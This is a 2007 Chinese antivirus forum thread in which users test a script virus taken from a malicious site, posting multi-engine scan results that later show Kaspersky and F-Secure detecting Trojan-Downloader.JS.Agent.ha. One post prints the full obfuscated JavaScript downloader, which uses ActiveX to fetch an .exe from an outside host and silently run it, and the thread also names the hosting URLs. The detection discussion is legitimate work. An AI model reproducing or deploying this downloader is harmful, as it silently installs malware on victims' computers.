脚本病毒

红心王子

昨天从毒网上提取出的病毒，来扫扫看，有多少个报的
这个毒网，昨天论坛上有网友发过：http://4.sqwyt.com/Html/bt/index_2.html
这个卡巴7kis监控没动静，就费尔报了

[ 本帖最后由 红心王子 于 2007-6-1 09:14 编辑 ]

tracydk

AVAST不报

cheninot

Scan taken on 01 Jun 2007 01:06:20 (GMT)
A-Squared        
Found nothing
AntiVir        
Found nothing
ArcaVir        
Found nothing
Avast        
Found nothing
AVG Antivirus        
Found nothing
BitDefender        
Found nothing
ClamAV        
Found nothing
Dr.Web        
Found nothing
F-Prot Antivirus        
Found nothing
F-Secure Anti-Virus        
Found nothing
Fortinet        
Found nothing
Kaspersky Anti-Virus        
Found nothing
NOD32        
Found nothing
Norman Virus Control        
Found nothing
Panda Antivirus        
Found nothing
Rising Antivirus        
Found nothing
VirusBuster        
Found nothing
VBA32        
Found nothing

icka

1. 
   
2. function Ks(vpn)
   
3. {
   
4. var Num = Math.random()*vpn;
   
5. return '~Temp'+Math.round(Num)+'.tmp';
   
6. 
   
7. }
   
8. try
   
9. {
   
10. xz='http://www1.cw988.cn/avp.exe';
    
11. gdslkgfglsjkfdkfc='';
    
12. var mv=document.createElement("object");
    
13. gdslkgfglsjkfdkfc='';
    
14. mv.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
    
15. var bx=mv.CreateObject("Microsoft.X"+"MLHTTP","");
    
16. gdslkgfglsjkfdkfc='';
    
17. var Xok=mv.CreateObject("Adodb.Stream","");
    
18. gdslkgfglsjkfdkfc='';
    
19. Xok.type=1; bx.open("GET", xz,0); bx.send();
    
20. gdslkgfglsjkfdkfc='';
    
21. NAmeA=Ks(1111);
    
22. gdslkgfglsjkfdkfc='';
    
23. var vF=mv.CreateObject("Scripting.FileSystemObject","");
    
24. var OsTmp=vF.GetSpecialFolder(0);
    
25. gdslkgfglsjkfdkfc='';
    
26. NAmeA= vF.BuildPath(OsTmp,NAmeA);
    
27. gdslkgfglsjkfdkfc='';
    
28. Xok.Open();Xok.Write(bx.responseBody);
    
29. Xok.SaveToFile(NAmeA,2);
    
30. gdslkgfglsjkfdkfc='';
    
31. Xok.Close();
    
32. gdslkgfglsjkfdkfc='';
    
33. var yq=mv.CreateObject("Shell.Application",""); file1=vF.BuildPath(OsTmp+'\\system32','cmd.exe');
    
34. asdgdfcxvvcxgfdpo='';
    
35. yq.shellExecute(file1,' /c '+NAmeA,"","open",0);
    
36. }
    
37. catch(vi)
    
38. {
    
39. vi=1;
    
40. gdslkgfglsjkfdkfc='';
    
41. }
    

复制代码

样本地址代码里就有,昨天在一个群里见过~[:27:]

红心王子

我感觉这个不应该是误报
确实存在病毒的[:26:]

zane_xzz

h   ttp://www1.cw988.cn/avp.exe

woai_jolin

脚本
ESS不报

1688388728

BD过

qwerasdf123

Scan taken on 01 Jun 2007 11:32:13 (GMT)  
A-Squared  Found nothing
AntiVir  Found nothing
ArcaVir  Found nothing
Avast  Found nothing
AVG Antivirus  Found nothing
BitDefender  Found nothing
ClamAV  Found nothing
Dr.Web  Found nothing
F-Prot Antivirus  Found nothing
F-Secure Anti-Virus  Found Trojan-Downloader.JS.Agent.ha  
Fortinet  Found nothing
Kaspersky Anti-Virus  Found Trojan-Downloader.JS.Agent.ha  
NOD32  Found nothing
Norman Virus Control  Found nothing
Panda Antivirus  Found nothing
Rising Antivirus  Found nothing
VirusBuster  Found nothing
VBA32  Found nothing